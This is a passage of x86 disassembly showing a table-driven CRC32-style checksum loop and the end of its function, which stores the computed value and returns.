jne 0x10023a97
and edi, 7
jmp 0x10023a39
movzx ecx, byte [esi]
movzx eax, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x10028ba0]
inc esi
movzx ecx, byte [esi]
movzx eax, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x10028ba0]
inc esi
movzx ecx, byte [esi]
movzx eax, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x10028ba0]
inc esi
xor edx, dword [esi]
movzx eax, dl
shr edx, 8
xor edx, dword [eax*4 + 0x10028ba0]
movzx eax, dl
shr edx, 8
xor edx, dword [eax*4 + 0x10028ba0]
movzx eax, dl
shr edx, 8
xor edx, dword [eax*4 + 0x10028ba0]
movzx eax, dl
shr edx, 8
xor edx, dword [eax*4 + 0x10028ba0]
jmp case.0x10023a3e.0
movzx ecx, byte [esi]
movzx eax, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x10028ba0]
inc esi
movzx ecx, byte [esi]
movzx eax, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x10028ba0]
inc esi
movzx ecx, byte [esi]
movzx eax, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x10028ba0]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov dword [eax], edx
mov esp, ebp
pop ebp
ret 8